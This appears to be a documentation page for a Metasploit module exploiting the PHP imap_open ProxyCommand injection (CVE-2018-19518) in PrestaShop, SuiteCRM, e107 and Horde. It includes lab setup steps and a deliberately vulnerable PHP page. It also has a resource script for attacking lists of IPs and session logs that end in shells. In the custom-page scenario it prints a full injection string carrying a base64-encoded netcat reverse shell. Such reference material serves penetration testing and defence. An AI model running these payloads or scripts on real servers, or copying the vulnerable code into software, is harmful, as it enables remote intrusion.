php imap_open Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/php_imap_open_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: php imap_open Remote Code Execution
Module: exploit/linux/http/php_imap_open_rce
Source code: modules/exploits/linux/http/php_imap_open_rce.rb
Disclosure date: 2018-10-23
Last modification time: 2021-11-22 14:11:03 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-19518, CVE-2018-1000859

The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, this exploit works against the following applications: e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use. Prestashop exploitation requires the admin URI, and administrator credentials. suiteCRM/e107 require administrator credentials. Fixed in php 5.6.39.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage


Using php_imap_open_rce against a single host

Normally, you can use exploit/linux/http/php_imap_open_rce this way:

msf > use exploit/linux/http/php_imap_open_rce
msf exploit(php_imap_open_rce) > show targets
    ... a list of targets ...
msf exploit(php_imap_open_rce) > set TARGET target-id
msf exploit(php_imap_open_rce) > show options
    ... show and set options ...
msf exploit(php_imap_open_rce) > exploit

Using php_imap_open_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your php_imap_open_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/php_imap_open_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, it is reported that the following applications are vulnerable:

Prestashop exploitation requires the admin URI, and administrator credentials.

SuiteCRM exploitation requires administrator credentials.

e107 v2 exploitation requires administrator credentials.

Horde IMP H3 requires the IMP test page to be present (default), but no credentials are required.

Additional applications were reported vulnerable, but exploits were not written. See #10987 for additional details.

Prestashop 1.7.2.4 on Ubuntu 16.04

Mostly derived from websiteforstudents.com, with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.

sudo apt install apache2
sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
sudo systemctl stop apache2.service
sudo systemctl start apache2.service
sudo systemctl enable apache2.service
sudo apt-get install mariadb-server mariadb-client
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo systemctl restart mysql.service
sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
sudo phpenmod imap
sudo mysql -u root -p

Run the following database commands:

CREATE DATABASE prestashop;
CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
unzip prestashop_1.7.2.4.zip
sudo mkdir -p /var/www/html/prestashop
sudo unzip prestashop.zip -d /var/www/html/prestashop/
sudo chown -R www-data:www-data /var/www/html/prestashop/
sudo chmod -R 755 /var/www/html/prestashop/
sudo nano /etc/apache2/sites-available/prestashop.conf

Utilize the following configuration:

<VirtualHost *:80>
     ServerAdmin [email protected]
     DocumentRoot /var/www/html/prestashop/
     ServerName example.com
     ServerAlias www.example.com

     <Directory /var/www/html/prestashop/>
        Options +FollowSymlinks
        AllowOverride All
        Require all granted
     </Directory>

     ErrorLog ${APACHE_LOG_DIR}/error.log
     CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
sudo a2ensite prestashop.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service

Browse to the website, and install with default information.

sudo rm -rf /var/www/html/prestashop/install/

Now browse to /admin, and the first time you'll be redirected to the admin URI. If not, sudo ls /var/www/html/prestashop/admin*.

SuiteCRM 7.8.23 on Ubuntu 16.04

Mostly derived from vultr.com but adding php's zip and mbstring packages.

sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y
sudo systemctl restart apache2
sudo phpenmod imap
sudo mysql_secure_installation
wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip
unzip SuiteCRM-7.8.23.zip
sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm
sudo chown -R www-data:www-data /var/www/html/suitecrm
sudo chmod -R 777 /var/www/html/suitecrm
sudo nano /etc/apache2/sites-available/suitecrm.conf

Utilize the following configuration:

<VirtualHost *:80>
 ServerAdmin [email protected]
 DocumentRoot /var/www/html/suitecrm/
 ServerName yourdomain.com
 ServerAlias www.yourdomain.com
<Directory /var/www/html/suitecrm/>
 Options FollowSymLinks
 AllowOverride All
</Directory>
 ErrorLog /var/log/apache2/suitecrm-error_log
 CustomLog /var/log/apache2/suitecrm-access_log common
</VirtualHost>
sudo a2ensite suitecrm
sudo a2dissite 000-default.conf
sudo systemctl restart apache2
sudo systemctl restart mysql

e107 2.1.9 on Ubuntu 16.04

Mostly derived from websiteforstudents.com, however with php 7.0 instead of 7.2.

sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
sudo systemctl restart apache2.service
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo mysql -u root -p

Run the following database commands:

CREATE DATABASE e107;
CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
cd /tmp
wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
sudo chown -R www-data:www-data /var/www/html/e107/
sudo chmod -R 755 /var/www/html/e107/
sudo nano /etc/apache2/sites-available/e107.conf

Utilize the following configuration:

<VirtualHost *:80>
     ServerAdmin [email protected]
     DocumentRoot /var/www/html/e107
     ServerName example.com
     ServerAlias www.example.com

     <Directory /var/www/html/e107/>
          Options FollowSymlinks
          AllowOverride All
          Require all granted
     </Directory>

     ErrorLog ${APACHE_LOG_DIR}/error.log
     CustomLog ${APACHE_LOG_DIR}/access.log combined

     <Directory /var/www/html/e107/>
            RewriteEngine on
            RewriteBase /
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteRule ^(.*) index.php [PT,L]
    </Directory>
</VirtualHost>
sudo a2ensite e107.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service
sudo systemctl restart mysql.server
sudo systemctl restart mysql.service

Horde IMP H3 on Ubuntu 16.04

This worked until about Jan 11, 2019 when ondrej updated php5.6 passed 38.

sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get --no-install-recommends install -y php-pear
sudo apt-get install -y php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-mbstring php5.6-mysql php5.6-curl php5.6-xml php5.6-xmlrpc php5.6-imap
sudo update-alternatives --config php
sudo a2enmod  php5.6
sudo a2dismod php7.1
sudo phpenmod imap
sudo service apache2 restart
wget ftp://ftp.horde.org/pub/imp/imp-h3-4.2.tar.gz
wget ftp://ftp.horde.org/pub/horde/horde-3.3.13.tar.gz
tar zxf horde-3.3.13.tar.gz
sudo mv horde-3.3.13 /var/www/html/
tar zxf imp-h3-4.2.tar.gz
sudo mv imp-h3-4.2 /var/www/html/horde-3.3.13/
sudo mv /var/www/html/horde-3.3.13/ /var/www/html/horde
cd /var/www/html/horde
sudo mv imp-h3-4.2/ imp
cd imp/config
sudo cp mime_drivers.php.dist mime_drivers.php
sudo cp prefs.php.dist prefs.php
sudo cp servers.php.dist servers.php
sudo chown -R www-data:www-data /var/www/html/horde/
curl -s http://127.0.0.1/horde/imp/test.php | grep "PHP Mail Server Support Test"

Browse to the site, click Administration -> Setup. Click the caution and stop icons and then "Generate Horde Configuration", and "Generate Mail Configuration". The test page is located at /horde/imp/test.php.

Custom Page on Ubuntu 16.04

Make sure php-imap is installed and enabled. Create imap.php with the following content.


    

imap_open Exploitable Page

There are two ways to exploit this page:

  1. GET: Use URL parameter 'server'. Ex http://1.1.1.1/imap.php?server=EXPLOITHERE
  2. POST: Using parameter 'server' or the form below.
<form method="post"> Server: <input type="text" name="server">
<input type="submit" value="Submit"> </form> if (isset($_GET["server"]) && !empty($_GET["server"])) { $server = htmlspecialchars($_GET["server"]); } else { $server = $_POST["server"]; } if (!isset($server) || empty($server)) { exit; } echo "

Results:

"; $mbox = @imap_open("{".$server.":143}INBOX",'username','password'); echo '

Received: '.$server.'

'; $errors = imap_errors(); if (is_array($errors)) { $errors = array_unique($errors); } if (count($errors) && is_array($errors)) { $str_errors = ''; foreach ($errors as $error) { $str_errors .= $error . ', '; } $str_errors = rtrim(trim($str_errors), ','); } if (!$mbox) { echo '

Errors: ' . ($str_errors); }

Verification Steps


  1. Install a vulnerable application
  2. Start msfconsole
  3. Do: use exploit/linux/http/php_imap_open_rce
  4. Do: set TARGETURI [URI]
  5. Do: set USERNAME [username]
  6. Do: set PASSWORD [password]
  7. Do: set target [target]
  8. Do: run
  9. You should get a shell.

Options


TARGETURI

The URI for the target. This may change by target. Default is . Prestashop should be the admin URI, similar to /admin2769gx8k3.

Scenarios


PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0

  resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
  resource (presta.rb)> set TARGETURI /admin2769gx8k3
  TARGETURI => /admin2769gx8k3
  resource (presta.rb)> set USERNAME [email protected]
  USERNAME => [email protected]
  resource (presta.rb)> set PASSWORD ubuntuubuntu
  PASSWORD => ubuntuubuntu
  resource (presta.rb)> set rhosts 1.1.1.1
  rhosts => 1.1.1.1
  resource (presta.rb)> set lhost 2.2.2.2
  lhost => 2.2.2.2
  resource (presta.rb)> set target 0
  target => 0
  resource (presta.rb)> set verbose true
  verbose => true
  resource (presta.rb)> exploit
  [*] Started reverse TCP handler on 2.2.2.2:4444 
  [*] Redirected to http://1.1.1.1/admin2769gx8k3/
  [*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
  [*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
  [*] Logging in with [email protected]:ubuntuubuntu
  [*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
  [+] Login Success, loading admin dashboard to pull tokens
  [*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
  [+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
  [*] IMAP server change left on server, manual revert required.
  [*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:41964) at 2018-11-20 18:29:28 -0500

  uname -a
  Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0

  resource (suitecrm.rb)> use exploit/linux/http/php_imap_open_rce
  resource (suitecrm.rb)> set target 1
  target => 1
  resource (suitecrm.rb)> set TARGETURI /
  TARGETURI => /
  resource (suitecrm.rb)> set USERNAME admin
  USERNAME => admin
  resource (suitecrm.rb)> set PASSWORD admin
  PASSWORD => admin
  resource (suitecrm.rb)> set rhosts 1.1.1.1
  rhosts => 1.1.1.1
  resource (suitecrm.rb)> set lhost 2.2.2.2
  lhost => 2.2.2.2
  resource (suitecrm.rb)> set verbose true
  verbose => true
  resource (suitecrm.rb)> exploit
  [*] Started reverse TCP handler on 2.2.2.2:4444 
  [*] Loading login page
  [*] Logging in as admin:admin
  [+] Login Success
  [*] Loading InboundEmail page
  [+] Sending payload with group_id f047031d-1697-3d0d-bd39-5bf499e5470a
  [*] IMAP server config left on server, manual removal required.
  [*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:32806) at 2018-11-20 18:31:40 -0500

  uname -a 
  Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0

  resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
  resource (e107.rb)> set target 2
  target => 2
  resource (e107.rb)> set TARGETURI /
  TARGETURI => /
  resource (e107.rb)> set USERNAME admin
  USERNAME => admin
  resource (e107.rb)> set PASSWORD admin
  PASSWORD => admin
  resource (e107.rb)> set rhosts 1.1.1.1
  rhosts => 1.1.1.1
  resource (e107.rb)> set lhost 2.2.2.2
  lhost => 2.2.2.2
  resource (e107.rb)> set verbose true
  verbose => true
  resource (e107.rb)> exploit
  [*] Started reverse TCP handler on 2.2.2.2:4444 
  [*] Logging in as admin:admin
  [+] Login Success
  [*] Checking if Cron is enabled for triggering
  [+] Storing payload in mail settings
  [*] Loading cron page to execute job manually
  [+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
  [*] IMAP server config left on server, manual removal required.
  [*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500

  uname -a
  Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

Custom Page on Ubuntu 16.04

Using the imap.php page listed above.

  msf5 > use exploit/linux/http/php_imap_open_rce 
  msf5 exploit(linux/http/php_imap_open_rce) > set target 3
  target => 3
  msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1
  lhost => 1.1.1.1
  msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2
  rhost => 2.2.2.2
  msf5 exploit(linux/http/php_imap_open_rce) > exploit

  [*] Started reverse TCP handler on 1.1.1.1:4444 
  [*] Listener started for 300 seconds
  [+] POST request connection string: x -oProxyCommand=`echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI+JjE7IHJtIC90bXAvaWVib3U=|base64$IFS$()-d|bash`}
  [+] GET request connection string: x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D
  [*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41124) at 2018-11-25 10:52:55 -0500

  uname -a
  Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

The GET request was utilized, and the final URL utilized was: http://2.2.2.2/imap.php?server=x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D

Go back to menu.

Msfconsole Usage


Here is how the linux/http/php_imap_open_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/php_imap_open_rce

[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/php_imap_open_rce) > show info

       Name: php imap_open Remote Code Execution
     Module: exploit/linux/http/php_imap_open_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-10-23

Provided by:
  Anton Lopanitsyn
  Twoster
  h00die
  Paolo Serracino
  Pietro Minniti
  Damiano Proietti

Available targets:
  Id  Name
  --  ----
  0   prestashop
  1   suitecrm
  2   e107v2
  3   Horde IMP H3
  4   custom

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    no        Password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /admin2769gx8k3  yes       Base directory path
  USERNAME                    no        Username to authenticate with
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  The imap_open function within php, if called without the /norsh 
  flag, will attempt to preauthenticate an IMAP session. On Debian 
  based systems, including Ubuntu, rsh is mapped to the ssh binary. 
  Ssh's ProxyCommand option can be passed from imap_open to execute 
  arbitrary commands. While many custom applications may use 
  imap_open, this exploit works against the following applications: 
  e107 v2, prestashop, SuiteCRM, as well as Custom, which simply 
  prints the exploit strings for use. Prestashop exploitation requires 
  the admin URI, and administrator credentials. suiteCRM/e107 require 
  administrator credentials. Fixed in php 5.6.39.

References:
  https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395
  https://github.com/Bo0oM/PHP_imap_open_exploit
  https://www.exploit-db.com/exploits/45865
  https://www.exploit-db.com/exploits/46136
  https://bugs.php.net/bug.php?id=76428
  https://nvd.nist.gov/vuln/detail/CVE-2018-19518
  https://nvd.nist.gov/vuln/detail/CVE-2018-1000859

Module Options


This is a complete list of options available in the linux/http/php_imap_open_rce exploit:

msf6 exploit(linux/http/php_imap_open_rce) > show options

Module options (exploit/linux/http/php_imap_open_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /admin2769gx8k3  yes       Base directory path
   USERNAME                    no        Username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   prestashop

Advanced Options


Here is a complete list of advanced options supported by the linux/http/php_imap_open_rce exploit:

msf6 exploit(linux/http/php_imap_open_rce) > show advanced

Module advanced options (exploit/linux/http/php_imap_open_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                120                                                 no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/php_imap_open_rce module can exploit:

msf6 exploit(linux/http/php_imap_open_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   prestashop
   1   suitecrm
   2   e107v2
   3   Horde IMP H3
   4   custom

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/php_imap_open_rce exploit:

msf6 exploit(linux/http/php_imap_open_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
